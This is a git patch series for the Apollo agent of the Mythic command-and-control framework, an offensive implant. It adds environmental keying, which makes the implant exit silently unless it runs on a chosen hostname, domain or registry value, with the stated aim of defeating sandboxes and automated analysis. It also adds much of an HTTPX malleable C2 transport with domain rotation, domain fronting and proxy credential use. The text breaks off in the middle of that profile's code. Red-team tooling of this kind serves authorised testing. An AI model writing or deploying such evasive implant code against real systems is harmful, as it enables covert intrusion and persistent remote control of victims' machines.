From 80db56900c04a9fbf42862ac1f57bdb9f056c2ff Mon Sep 17 00:00:00 2001 From: melvin Date: Mon, 13 Oct 2025 11:13:29 +0200 Subject: [PATCH 01/37] Added basic env keying --- .../apollo/apollo/agent_code/Apollo/Config.cs | 10 + .../apollo/agent_code/Apollo/Program.cs | 203 ++++++++++++++++++ .../apollo/mythic/agent_functions/builder.py | 115 ++++++++++ documentation-payload/apollo/opsec/_index.md | 1 + documentation-payload/apollo/opsec/keying.md | 161 ++++++++++++++ 5 files changed, 490 insertions(+) create mode 100644 documentation-payload/apollo/opsec/keying.md diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 5f3c8ef0..7a0f89c5 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -175,5 +175,15 @@ public static class Config public static string StagingRSAPrivateKey = "AESPSK_here"; public static string PayloadUUID = "payload_uuid_here"; #endif + + // Environmental Keying Configuration + public static bool KeyingEnabled = keying_enabled_here; + public static int KeyingMethod = keying_method_here; // 1=Hostname, 2=Domain, 3=Registry + public static string KeyingValueHash = "keying_value_hash_here"; + + // Registry Keying Configuration + public static string RegistryPath = "registry_path_here"; + public static string RegistryValue = "registry_value_here"; + public static int RegistryComparison = registry_comparison_here; // 1=Matches, 2=Contains } } diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs index 593aac10..1db2625d 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs @@ -14,6 +14,8 @@ using ApolloInterop.Enums.ApolloEnums; using System.Runtime.InteropServices; using ApolloInterop.Utils; +using System.Security.Cryptography; +using Microsoft.Win32; namespace Apollo { @@ -55,9 +57,210 @@ public static void Main(string[] args) { DebugHelp.DebugWriteLine($"CoInitializeSecurity status: {_security_init}"); } + + // Check environmental keying before starting agent + if (!CheckEnvironmentalKeying()) + { + // Exit silently if keying check fails + return; + } + Agent.Apollo ap = new Agent.Apollo(Config.PayloadUUID); ap.Start(); } + + private static bool CheckEnvironmentalKeying() + { + // If keying is not enabled, always return true + if (!Config.KeyingEnabled) + { + return true; + } + + try + { + // Handle Registry keying separately (3 = Registry) + if (Config.KeyingMethod == 3) + { + return CheckRegistryKeying(); + } + + string currentValue = ""; + + // Get the appropriate value based on keying method + // 1 = Hostname, 2 = Domain + if (Config.KeyingMethod == 1) + { + currentValue = Environment.MachineName; + } + else if (Config.KeyingMethod == 2) + { + currentValue = Environment.UserDomainName; + } + else + { + // Unknown keying method, fail safe and exit + return false; + } + + // Convert to uppercase before hashing (same as build time) + currentValue = currentValue.ToUpper(); + + // For hostname (1), just check the single value + if (Config.KeyingMethod == 1) + { + string currentValueHash = ComputeSHA256Hash(currentValue); + if (currentValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + // For domain (2), check full domain and all parts split by '.' + else if (Config.KeyingMethod == 2) + { + // First try the full domain + string fullDomainHash = ComputeSHA256Hash(currentValue); + if (fullDomainHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + + // Then try each part of the domain split by '.' + string[] domainParts = currentValue.Split('.'); + foreach (string part in domainParts) + { + if (!string.IsNullOrEmpty(part)) + { + string partHash = ComputeSHA256Hash(part); + if (partHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + } + } + + // Keying check failed + return false; + } + catch + { + // If any error occurs during keying check, fail safe and exit + return false; + } + } + + private static bool CheckRegistryKeying() + { + try + { + // Parse the registry path + string regPath = Config.RegistryPath; + if (string.IsNullOrEmpty(regPath)) + { + return false; + } + + // Split registry path into hive, subkey, and value name + // Expected format: HKLM\SOFTWARE\Path\To\Key\ValueName + string[] pathParts = regPath.Split('\\'); + if (pathParts.Length < 2) + { + return false; + } + + // Get the registry hive + RegistryKey hive = GetRegistryHive(pathParts[0]); + if (hive == null) + { + return false; + } + + // Get the value name (last part) + string valueName = pathParts[pathParts.Length - 1]; + + // Get the subkey path (everything between hive and value name) + string subKeyPath = string.Join("\\", pathParts, 1, pathParts.Length - 2); + + // Open the registry key + using (RegistryKey key = hive.OpenSubKey(subKeyPath)) + { + if (key == null) + { + // Registry key doesn't exist + return false; + } + + // Get the registry value + object regValue = key.GetValue(valueName); + if (regValue == null) + { + // Registry value doesn't exist + return false; + } + + string regValueString = regValue.ToString(); + + // Check based on comparison mode: 1 = Matches, 2 = Contains + if (Config.RegistryComparison == 1) + { + // Hash-based secure matching + string regValueHash = ComputeSHA256Hash(regValueString.ToUpper()); + return regValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase); + } + else if (Config.RegistryComparison == 2) + { + // Plaintext contains matching (weak security) + return regValueString.IndexOf(Config.RegistryValue, StringComparison.OrdinalIgnoreCase) >= 0; + } + } + + return false; + } + catch + { + // If any error occurs, fail safe and exit + return false; + } + } + + private static RegistryKey GetRegistryHive(string hiveName) + { + switch (hiveName.ToUpper()) + { + case "HKLM": + case "HKEY_LOCAL_MACHINE": + return Registry.LocalMachine; + case "HKCU": + case "HKEY_CURRENT_USER": + return Registry.CurrentUser; + case "HKCR": + case "HKEY_CLASSES_ROOT": + return Registry.ClassesRoot; + case "HKU": + case "HKEY_USERS": + return Registry.Users; + case "HKCC": + case "HKEY_CURRENT_CONFIG": + return Registry.CurrentConfig; + default: + return null; + } + } + + private static string ComputeSHA256Hash(string input) + { + using (SHA256 sha256 = SHA256.Create()) + { + byte[] hashBytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(input)); + StringBuilder sb = new StringBuilder(); + foreach (byte b in hashBytes) + { + sb.Append(b.ToString("x2")); + } + return sb.ToString(); + } + } private static void Client_Disconnect(object sender, NamedPipeMessageArgs e) { diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 6565c40d..02aac3e0 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -10,6 +10,7 @@ import shutil import json import pathlib +import hashlib from mythic_container.MythicRPC import * @@ -85,6 +86,69 @@ class Apollo(PayloadType): parameter_type=BuildParameterType.Boolean, default_value=False, description="Create a DEBUG version.", + ), + BuildParameter( + name="enable_keying", + parameter_type=BuildParameterType.Boolean, + default_value=False, + description="Enable environmental keying to restrict agent execution to specific systems.", + group_name="Keying Options", + ), + BuildParameter( + name="keying_method", + parameter_type=BuildParameterType.ChooseOne, + choices=["Hostname", "Domain", "Registry"], + default_value="Hostname", + description="Method of environmental keying.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True) + ] + ), + BuildParameter( + name="keying_value", + parameter_type=BuildParameterType.String, + default_value="", + description="The hostname or domain name the agent should match (case-insensitive). Agent will exit if it doesn't match.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.Equals, value="Registry") + ] + ), + BuildParameter( + name="registry_path", + parameter_type=BuildParameterType.String, + default_value="", + description="Full registry path (e.g., HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName)", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] + ), + BuildParameter( + name="registry_value", + parameter_type=BuildParameterType.String, + default_value="", + description="The registry value to check against.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] + ), + BuildParameter( + name="registry_comparison", + parameter_type=BuildParameterType.ChooseOne, + choices=["Matches", "Contains"], + default_value="Matches", + description="Matches (secure, hash-based) or Contains (WEAK, plaintext comparison). WARNING: Contains mode stores the value in plaintext!", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] ) ] c2_profiles = ["http", "smb", "tcp", "websocket"] @@ -119,9 +183,60 @@ async def build(self) -> BuildResponse: defines_commands_upper = [f"#define {x.upper()}" for x in resp.updated_command_list] else: defines_commands_upper = [f"#define {x.upper()}" for x in self.commands.get_commands()] + # Handle keying parameters + enable_keying = self.get_parameter('enable_keying') + keying_enabled = "true" if enable_keying else "false" + keying_method_str = self.get_parameter('keying_method') if enable_keying else "" + + # Map keying method to numeric value for obfuscation + # 0 = None, 1 = Hostname, 2 = Domain, 3 = Registry + keying_method_map = { + "Hostname": "1", + "Domain": "2", + "Registry": "3" + } + keying_method = keying_method_map.get(keying_method_str, "0") + + # Hash the keying value for security (force uppercase before hashing) + keying_value_hash = "" + registry_path = "" + registry_value = "" + registry_comparison = "" + + if enable_keying: + if keying_method_str == "Registry": + # Handle registry keying + registry_path = self.get_parameter('registry_path') if self.get_parameter('registry_path') else "" + registry_comparison_str = self.get_parameter('registry_comparison') if self.get_parameter('registry_comparison') else "Matches" + + # Map registry comparison to numeric value: 1 = Matches, 2 = Contains + registry_comparison = "1" if registry_comparison_str == "Matches" else "2" + + registry_value_raw = self.get_parameter('registry_value') if self.get_parameter('registry_value') else "" + + if registry_comparison_str == "Matches": + # Hash the registry value for secure matching + if registry_value_raw: + plaintext_value = registry_value_raw.upper() + keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() + elif registry_comparison_str == "Contains": + # Store plaintext for contains matching (weak security) + registry_value = registry_value_raw + else: + # Handle hostname/domain keying + if self.get_parameter('keying_value'): + plaintext_value = self.get_parameter('keying_value').upper() + keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() + special_files_map = { "Config.cs": { "payload_uuid": self.uuid, + "keying_enabled": keying_enabled, + "keying_method": keying_method, + "keying_value_hash": keying_value_hash, + "registry_path": registry_path, + "registry_value": registry_value, + "registry_comparison": registry_comparison, }, } extra_variables = { diff --git a/documentation-payload/apollo/opsec/_index.md b/documentation-payload/apollo/opsec/_index.md index f52f3e8c..4eb5a5c5 100644 --- a/documentation-payload/apollo/opsec/_index.md +++ b/documentation-payload/apollo/opsec/_index.md @@ -13,6 +13,7 @@ Below are considerations about Apollo's underlying behavior that may affect deci - [Evasion](/agents/apollo/opsec/evasion/) - [Fork and Run Commands](/agents/apollo/opsec/forkandrun/) - [Injection](/agents/apollo/opsec/injection/) +- [Environmental Keying](/agents/apollo/opsec/keying/) ## Example Artifacts diff --git a/documentation-payload/apollo/opsec/keying.md b/documentation-payload/apollo/opsec/keying.md new file mode 100644 index 00000000..95d3b165 --- /dev/null +++ b/documentation-payload/apollo/opsec/keying.md @@ -0,0 +1,161 @@ ++++ +title = "Environmental Keying" +chapter = false +weight = 103 ++++ + +## Environmental Keying in Apollo + +Environmental keying is a technique that restricts agent execution to specific systems. If the keying check fails, the agent will exit immediately and silently without executing any code or attempting to connect to the C2 server. + +### Purpose + +Environmental keying helps protect against: +- Accidental execution on unintended systems +- Sandbox detonation and automated analysis + +### Keying Methods + +Apollo supports three methods of environmental keying: + +#### 1. Hostname Keying + +The agent will only execute if the machine's hostname matches the specified value. + +**Use Case:** When you know the exact hostname of your target system. + +**Example:** If you set the keying value to `WORKSTATION-01`, the agent will only run on a machine with that exact hostname. + +**Security:** Secure (hash-based) + +#### 2. Domain Keying + +The agent will only execute if the machine's domain name matches the specified value. Domain matching is forgiving and checks both the full domain and individual parts. + +**Use Case:** When targeting systems within a specific Active Directory domain. + +**Example:** If you set the keying value to `CONTOSO`, the agent will match: +- Full domain: `CONTOSO.LOCAL` +- Full domain: `CORP.CONTOSO.COM` +- Domain part: `CONTOSO` (from `CONTOSO.LOCAL`) +- Domain part: `CONTOSO` (from `CORP.CONTOSO.COM`) + +This flexibility handles cases where `Environment.UserDomainName` may return different formats (e.g., `CONTOSO` vs `CONTOSO.LOCAL`). + +**Security:** Secure (hash-based) + +#### 3. Registry Keying + +The agent will only execute if a specific registry value matches or contains the specified value. This method offers two comparison modes: + +**Matches Mode (Secure - Recommended):** +- Uses SHA256 hash comparison +- The registry value must exactly match the keying value (case-insensitive) +- Hash stored in binary, not plaintext +- More secure but requires exact match + +**Contains Mode (WEAK - Use with Caution):** +- Uses plaintext substring comparison +- The registry value must contain the keying value anywhere within it +- ⚠️ **WARNING:** Stores the keying value in **PLAINTEXT** in the binary +- ⚠️ **WARNING:** Easily extracted with strings command +- More flexible but significantly less secure + +**Example Matches Mode:** +``` +Registry Path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName +Registry Value: Windows 10 Pro +Comparison: Matches +``` +Agent executes only if the ProductName exactly matches "Windows 10 Pro" + +**Example Contains Mode (WEAK):** +``` +Registry Path: HKLM\SOFTWARE\Company\Product\InstallID +Registry Value: UniqueInstallGUID-12345 +Comparison: Contains +``` +Agent executes if InstallID contains "UniqueInstallGUID-12345" anywhere in the value + +**Registry Path Format:** +`HIVE\SubKey\Path\To\ValueName` + +Supported hives: +- `HKLM` or `HKEY_LOCAL_MACHINE` +- `HKCU` or `HKEY_CURRENT_USER` +- `HKCR` or `HKEY_CLASSES_ROOT` +- `HKU` or `HKEY_USERS` +- `HKCC` or `HKEY_CURRENT_CONFIG` + +### Configuration + +During the agent build process, you can enable keying through the build parameters: + +1. **Enable Keying** - Check this box to enable environmental keying +2. **Keying Method** - Select "Hostname", "Domain", or "Registry" +3. **For Hostname/Domain:** + - **Keying Value** - Enter the hostname or domain name to match (case-insensitive) +4. **For Registry:** + - **Registry Path** - Full path including hive, subkey, and value name + - **Registry Value** - The value to check against + - **Registry Comparison** - "Matches" (secure, hash-based) or "Contains" (WEAK, plaintext) + +### Implementation Details + +- **Hash-Based Storage (Hostname/Domain/Registry-Matches):** The keying value is never stored in plaintext in the agent binary. Instead, a SHA256 hash of the uppercase value is embedded +- **Plaintext Storage (Registry-Contains):** ⚠️ When using Registry keying with "Contains" mode, the value is stored in **plaintext** in the binary - easily extractable +- **Uppercase Normalization:** All values (except Registry-Contains mode) are converted to uppercase before hashing to ensure consistent matching regardless of case +- **Runtime Hashing:** During execution, the agent hashes the current hostname/domain/registry-value and compares it to the stored hash +- **Forgiving Domain Matching:** For domain keying, the agent checks: + 1. The full domain name (e.g., `CORP.CONTOSO.LOCAL`) + 2. Each part split by dots (e.g., `CORP`, `CONTOSO`, `LOCAL`) + +### Example Scenarios + +**Scenario 1: Targeted Workstation** +``` +Enable Keying: Yes +Keying Method: Hostname +Keying Value: FINANCE-WS-42 +``` +This agent will only execute on the machine named `FINANCE-WS-42`. + +**Scenario 2: Domain-Wide Campaign** +``` +Enable Keying: Yes +Keying Method: Domain +Keying Value: CONTOSO +``` +This agent will execute on machines where the domain contains `CONTOSO`: +- Machines in domain `CONTOSO` ✅ +- Machines in domain `CONTOSO.LOCAL` ✅ +- Machines in domain `CORP.CONTOSO.COM` ✅ +- Machines in domain `FABRIKAM.COM` ❌ + +**Scenario 3: Registry Keying (Matches - Secure)** +``` +Enable Keying: Yes +Keying Method: Registry +Registry Path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName +Registry Value: Windows 10 Enterprise +Registry Comparison: Matches +``` +This agent will only execute on systems running Windows 10 Enterprise (exact match). + +**Scenario 4: Registry Keying (Contains - WEAK)** +``` +Enable Keying: Yes +Keying Method: Registry +Registry Path: HKLM\SOFTWARE\YourCompany\CustomApp\InstallID +Registry Value: SecretMarker-ABC123 +Registry Comparison: Contains +``` +This agent will execute on systems where the registry value contains "SecretMarker-ABC123" anywhere. +⚠️ WARNING: "SecretMarker-ABC123" is stored in plaintext in the binary. + +**Scenario 5: No Keying (Default)** +``` +Enable Keying: No +``` +This agent will execute on any system (traditional behavior). + From ca86c1f239ef4cc5574e949ffc17bb5767534727 Mon Sep 17 00:00:00 2001 From: melvin Date: Mon, 13 Oct 2025 12:20:35 +0200 Subject: [PATCH 02/37] Fixed some AI slop --- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 02aac3e0..34d4f685 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -113,7 +113,7 @@ class Apollo(PayloadType): group_name="Keying Options", hide_conditions=[ HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), - HideCondition(name="keying_method", operand=HideConditionOperand.Equals, value="Registry") + HideCondition(name="keying_method", operand=HideConditionOperand.EQ, value="Registry") ] ), BuildParameter( @@ -201,7 +201,7 @@ async def build(self) -> BuildResponse: keying_value_hash = "" registry_path = "" registry_value = "" - registry_comparison = "" + registry_comparison = "0" # Default to 0 for numeric field if enable_keying: if keying_method_str == "Registry": From 8ab0b05f9be5b463b24fcdc6633567abc039787f Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 15:51:07 +0200 Subject: [PATCH 03/37] First Attempt at HTTPx implementation --- .../apollo/agent_code/Apollo/Apollo.csproj | 2 + .../apollo/apollo/agent_code/Apollo/Config.cs | 47 +- .../Apollo/Management/C2/C2ProfileManager.cs | 12 +- .../agent_code/HttpxProfile/HttpxProfile.cs | 381 +++++++++++++ .../HttpxProfile/HttpxProfile.csproj | 22 + .../HttpxProfile/default_config.json | 93 ++++ .../agent_code/HttpxTransform/HttpxConfig.cs | 175 ++++++ .../HttpxTransform/HttpxTransform.csproj | 21 + .../HttpxTransform/TransformChain.cs | 192 +++++++ .../agent_code/HttpxTransform/Transforms.cs | 233 ++++++++ .../apollo/mythic/agent_functions/builder.py | 18 + Payload_Type/apollo/main.py | 4 + Payload_Type/apollo/translator/__init__.py | 1 + Payload_Type/apollo/translator/translator.py | 43 ++ Payload_Type/apollo/translator/utils.py | 8 + .../apollo/c2_profiles/HTTPX.md | 504 ++++++++++++++++++ 16 files changed, 1754 insertions(+), 2 deletions(-) create mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs create mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj create mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json create mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs create mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj create mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxTransform/TransformChain.cs create mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs create mode 100644 Payload_Type/apollo/translator/__init__.py create mode 100644 Payload_Type/apollo/translator/translator.py create mode 100644 Payload_Type/apollo/translator/utils.py create mode 100644 documentation-payload/apollo/c2_profiles/HTTPX.md diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj index f3d1a8a7..8c588bf7 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj @@ -19,6 +19,8 @@ + + diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 7a0f89c5..9454c901 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -7,11 +7,15 @@ //#define WEBSOCKET //#define TCP //#define SMB +//#define HTTPX #endif #if HTTP using HttpTransport; #endif +#if HTTPX +using HttpxTransport; +#endif using System; using System.Collections.Generic; using System.Linq; @@ -145,7 +149,44 @@ public static class Config #endif } } - } + }, +#endif +#if HTTPX + { "httpx", new C2ProfileData() + { + TC2Profile = typeof(HttpxProfile), + TCryptography = typeof(PSKCryptographyProvider), + TSerializer = typeof(EncryptedJsonSerializer), + Parameters = new Dictionary() + { +#if LOCAL_BUILD + { "callback_interval", "10" }, + { "callback_jitter", "23" }, + { "callback_domains", "https://example.com:443" }, + { "domain_rotation", "fail-over" }, + { "failover_threshold", "5" }, + { "encrypted_exchange_check", "true" }, + { "killdate", "-1" }, + { "raw_c2_config", "" }, +#else + { "callback_interval", "httpx_callback_interval_here" }, + { "callback_jitter", "httpx_callback_jitter_here" }, + { "callback_domains", "httpx_callback_domains_here" }, + { "domain_rotation", "httpx_domain_rotation_here" }, + { "failover_threshold", "httpx_failover_threshold_here" }, + { "encrypted_exchange_check", "httpx_encrypted_exchange_check_here" }, + { "killdate", "httpx_killdate_here" }, + { "raw_c2_config", "httpx_raw_c2_config_here" }, + { "proxy_host", "httpx_proxy_host_here" }, + { "proxy_port", "httpx_proxy_port_here" }, + { "proxy_user", "httpx_proxy_user_here" }, + { "proxy_pass", "httpx_proxy_pass_here" }, + { "domain_front", "httpx_domain_front_here" }, + { "timeout", "httpx_timeout_here" }, +#endif + } + } + }, #endif }; @@ -160,6 +201,8 @@ public static class Config public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc="; #elif TCP public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; +#elif HTTPX + public static string StagingRSAPrivateKey = "HttpxApolloKey2024SecureRandomString123456789"; #endif #if HTTP public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; @@ -169,6 +212,8 @@ public static class Config public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3"; #elif TCP public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544"; +#elif HTTPX + public static string PayloadUUID = "httpx-apollo-uuid-2024-12345678-90ab-cdef-1234-567890abcdef"; #endif #else // TODO: Make the AES key a config option specific to each profile diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs index 4f2837d2..fee587bc 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs @@ -1,5 +1,8 @@ using ApolloInterop.Interfaces; using HttpTransport; +#if HTTPX +using HttpxTransport; +#endif using System; using System.Collections.Generic; @@ -17,7 +20,14 @@ public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Diction if (c2 == typeof(HttpProfile)) { return new HttpProfile(parameters, serializer, Agent); - } else + } +#if HTTPX + else if (c2 == typeof(HttpxProfile)) + { + return new HttpxProfile(parameters, serializer, Agent); + } +#endif + else { throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}"); } diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs new file mode 100644 index 00000000..8f95f989 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -0,0 +1,381 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Types.Delegates; +using System.Net; +using ApolloInterop.Enums.ApolloEnums; +using HttpxTransform; +using System.Text; +using System.IO; +using System.Threading; + +namespace HttpxTransport +{ + /// + /// HttpxProfile implementation for Apollo agent + /// Supports malleable profiles with message transforms + /// + public class HttpxProfile : C2Profile, IC2Profile + { + private int CallbackInterval; + private double CallbackJitter; + private string[] CallbackDomains; + private string DomainRotation; + private int FailoverThreshold; + private bool EncryptedExchangeCheck; + private string KillDate; + private HttpxConfig Config; + private int CurrentDomainIndex = 0; + private int FailureCount = 0; + private Random Random = new Random(); + private bool _uuidNegotiated = false; + private RSAKeyGenerator rsa = null; + + // Add thread-safe properties for runtime sleep/jitter changes + private volatile int _currentSleepInterval; + private volatile double _currentJitter; + + // Add missing features + private string ProxyHost; + private int ProxyPort; + private string ProxyUser; + private string ProxyPass; + private string DomainFront; + private int TimeoutSeconds = 240; + + public HttpxProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) + { + // Parse basic parameters + CallbackInterval = int.Parse(data.GetValueOrDefault("callback_interval", "10")); + CallbackJitter = double.Parse(data.GetValueOrDefault("callback_jitter", "23")); + CallbackDomains = data.GetValueOrDefault("callback_domains", "https://example.com:443").Split(','); + DomainRotation = data.GetValueOrDefault("domain_rotation", "fail-over"); + FailoverThreshold = int.Parse(data.GetValueOrDefault("failover_threshold", "5")); + EncryptedExchangeCheck = bool.Parse(data.GetValueOrDefault("encrypted_exchange_check", "true")); + KillDate = data.GetValueOrDefault("killdate", "-1"); + + // Parse additional features + ProxyHost = data.GetValueOrDefault("proxy_host", ""); + ProxyPort = int.Parse(data.GetValueOrDefault("proxy_port", "0")); + ProxyUser = data.GetValueOrDefault("proxy_user", ""); + ProxyPass = data.GetValueOrDefault("proxy_pass", ""); + DomainFront = data.GetValueOrDefault("domain_front", ""); + TimeoutSeconds = int.Parse(data.GetValueOrDefault("timeout", "240")); + + // Initialize runtime-changeable values + _currentSleepInterval = CallbackInterval; + _currentJitter = CallbackJitter; + + // Load httpx configuration + LoadHttpxConfig(data.GetValueOrDefault("raw_c2_config", "")); + } + + private void LoadHttpxConfig(string configData) + { + try + { + if (!string.IsNullOrEmpty(configData)) + { + // Load from provided config data + Config = HttpxConfig.FromJson(configData); + } + else + { + // Load default configuration from embedded resource + Config = HttpxConfig.FromResource("Apollo.HttpxProfile.default_config.json"); + } + + Config.Validate(); + } + catch (Exception ex) + { + // Fallback to minimal default config + Config = CreateMinimalConfig(); + } + } + + private HttpxConfig CreateMinimalConfig() + { + return new HttpxConfig + { + Name = "Apollo Minimal", + Get = new VariationConfig + { + Verb = "GET", + Uris = new List { "/api/status" }, + Client = new ClientConfig + { + Headers = new Dictionary + { + { "User-Agent", "Apollo-Httpx/1.0" } + }, + Message = new MessageConfig { Location = "query", Name = "data" }, + Transforms = new List + { + new TransformConfig { Action = "base64", Value = "" } + } + }, + Server = new ServerConfig + { + Headers = new Dictionary + { + { "Content-Type", "application/json" } + }, + Transforms = new List + { + new TransformConfig { Action = "base64", Value = "" } + } + } + }, + Post = new VariationConfig + { + Verb = "POST", + Uris = new List { "/api/data" }, + Client = new ClientConfig + { + Headers = new Dictionary + { + { "User-Agent", "Apollo-Httpx/1.0" }, + { "Content-Type", "application/x-www-form-urlencoded" } + }, + Message = new MessageConfig { Location = "body", Name = "" }, + Transforms = new List + { + new TransformConfig { Action = "base64", Value = "" } + } + }, + Server = new ServerConfig + { + Headers = new Dictionary + { + { "Content-Type", "application/json" } + }, + Transforms = new List + { + new TransformConfig { Action = "base64", Value = "" } + } + } + } + }; + } + + private string GetCurrentDomain() + { + if (CallbackDomains == null || CallbackDomains.Length == 0) + return "https://example.com:443"; + + switch (DomainRotation.ToLower()) + { + case "round-robin": + CurrentDomainIndex = (CurrentDomainIndex + 1) % CallbackDomains.Length; + return CallbackDomains[CurrentDomainIndex]; + + case "random": + return CallbackDomains[Random.Next(CallbackDomains.Length)]; + + case "fail-over": + default: + return CallbackDomains[CurrentDomainIndex]; + } + } + + private void HandleDomainFailure() + { + FailureCount++; + if (FailureCount >= FailoverThreshold) + { + CurrentDomainIndex = (CurrentDomainIndex + 1) % CallbackDomains.Length; + FailureCount = 0; + } + } + + private void HandleDomainSuccess() + { + FailureCount = 0; + } + + public bool SendRecv(T message, OnResponse onResponse) + { + WebClient webClient = new WebClient(); + + // Configure proxy if needed + if (!string.IsNullOrEmpty(ProxyHost) && ProxyPort > 0) + { + string proxyAddress = $"{ProxyHost}:{ProxyPort}"; + webClient.Proxy = new WebProxy(proxyAddress); + + if (!string.IsNullOrEmpty(ProxyUser) && !string.IsNullOrEmpty(ProxyPass)) + { + webClient.Proxy.Credentials = new NetworkCredential(ProxyUser, ProxyPass); + } + } + else + { + // Use Default Proxy and Cached Credentials for Internet Access + webClient.Proxy = WebRequest.GetSystemWebProxy(); + webClient.Proxy.Credentials = CredentialCache.DefaultCredentials; + } + + // Set timeout + webClient.Timeout = TimeoutSeconds * 1000; + + string sMsg = Serializer.Serialize(message); + byte[] messageBytes = Encoding.UTF8.GetBytes(sMsg); + + // Determine request type based on message size + bool usePost = messageBytes.Length > 500; + var variation = usePost ? Config.Post : Config.Get; + + // Apply client transforms + byte[] transformedData = TransformChain.ApplyClientTransforms(messageBytes, variation.Client.Transforms); + + try + { + string domain = GetCurrentDomain(); + string uri = variation.Uris[Random.Next(variation.Uris.Count)]; + string url = domain + uri; + + // Build headers + foreach (var header in variation.Client.Headers) + { + webClient.Headers.Add(header.Key, header.Value); + } + + // Add domain fronting if specified + if (!string.IsNullOrEmpty(DomainFront)) + { + webClient.Headers.Add("Host", DomainFront); + } + + // Handle message placement + string response = ""; + switch (variation.Client.Message.Location.ToLower()) + { + case "query": + string queryParam = ""; + // Add custom query parameters first + if (variation.Client.Parameters != null) + { + foreach (var param in variation.Client.Parameters) + { + if (!string.IsNullOrEmpty(queryParam)) + 